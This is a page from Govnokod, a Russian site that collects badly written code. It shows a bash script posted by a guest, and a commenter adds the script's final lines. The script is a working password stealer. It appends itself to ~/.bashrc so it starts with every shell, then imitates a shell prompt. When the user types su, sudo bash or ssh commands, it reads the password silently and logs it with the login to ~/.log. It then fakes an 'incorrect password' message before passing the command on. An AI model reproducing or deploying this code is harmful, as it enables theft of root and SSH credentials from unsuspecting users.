Куча говна / Говнокод #954 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
  64. 64
  65. 65
  66. 66
  67. 67
  68. 68
  69. 69
  70. 70
  71. 71
  72. 72
  73. 73
  74. 74
  75. 75
  76. 76
  77. 77
  78. 78
  79. 79
  80. 80
  81. 81
  82. 82
  83. 83
  84. 84
  85. 85
  86. 86
  87. 87
  88. 88
  89. 89
  90. 90
  91. 91
  92. 92
  93. 93
  94. 94
  95. 95
  96. 96
  97. 97
  98. 98
  99. 99
  100. 100
#!/bin/bash
cm=""
function psw_su()
{
  t=`echo $1 | tr '_' ' '`
  echo -n $t
  read -s ps >> ~/.log
  echo "password: " >> ~/.log
  #safe password to log file
  echo $ps >> ~/.log
  echo
  sleep 4s
  echo "su: incorrect password"
  $cm
  # exit 0
};
function zar()
{
  a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
  b=$0
  case $a in
    $b)
  ;;
  *)
    echo $0 >> ~/.bashrc
  ;;
  esac
};

zar
while :
do
  psu="Password: "
  psudo="root's_password:"
  ht=$HOST
  un=$USER
  pw=`pwd`
  case $pw in
  $HOME)
    #tilda ~ this is home directory
    pw="~"
  ;;
  *)
  esac
  #string of console of shell
  nm=$USER"@"$HOST":"$pw"> "
  echo -n $nm
  echo -n " "
  #enter command
  cm=""
  read -e cm
  # cm=$1
  #switch case
  case $cm in
  "")
  ;;
  #authentficate as root
  "su")
    psw_su $psu
  ;;
  #authentificat as root
  "su -l root")
    psw_su $psu
  ;;
  #authentificate as other user
  `echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
    c=`echo $cm | tr ' ' '_' | rev`
    c2=`basename $c _l-_us | rev`
    echo "Login: "$c2 >> ~/.log
    psw_su $psu
  ;;
  #simple sudo as authentificate as root
  "sudo bash")
    psw_su $psudo
  ;;
  `echo $cm | grep ssh`)
    c=`echo $cm | tr ' ' '_' | rev`
    c2=`basename $c _hss | rev`
    echo "loginSSH: "$c2>> ~/.log
    echo -n "Password: "
    read -s ps
    echo $cm >> ~/.log
    echo "Password SSH:"$ps >> ~/.log
    sleep 2s
    echo
    $cm
    exit 0
  ;;
  `echo $cm | grep sudo | grep sh`)
    psw_su $psudo
  ;;
  *)
  esac
  echo $cm >> ~/.log
  #$cm >> ~/.log
  #exec command
  case $cm in
  "")
    cm="echo -n"
  ;;

shell script

Запостил: guest guest, (Updated )

Комментарии (2) RSS

  • Alice:
    не всё поместилось
    esac
    t="wc -l"
    u=`$cm | $t`
    /bin/bash -i -c "$cm ; exit | head -n $u"
    done
    exit 0
    Ответить

Добавить комментарий

Где здесь C++, guest?!

    А не использовать ли нам bbcode?


    8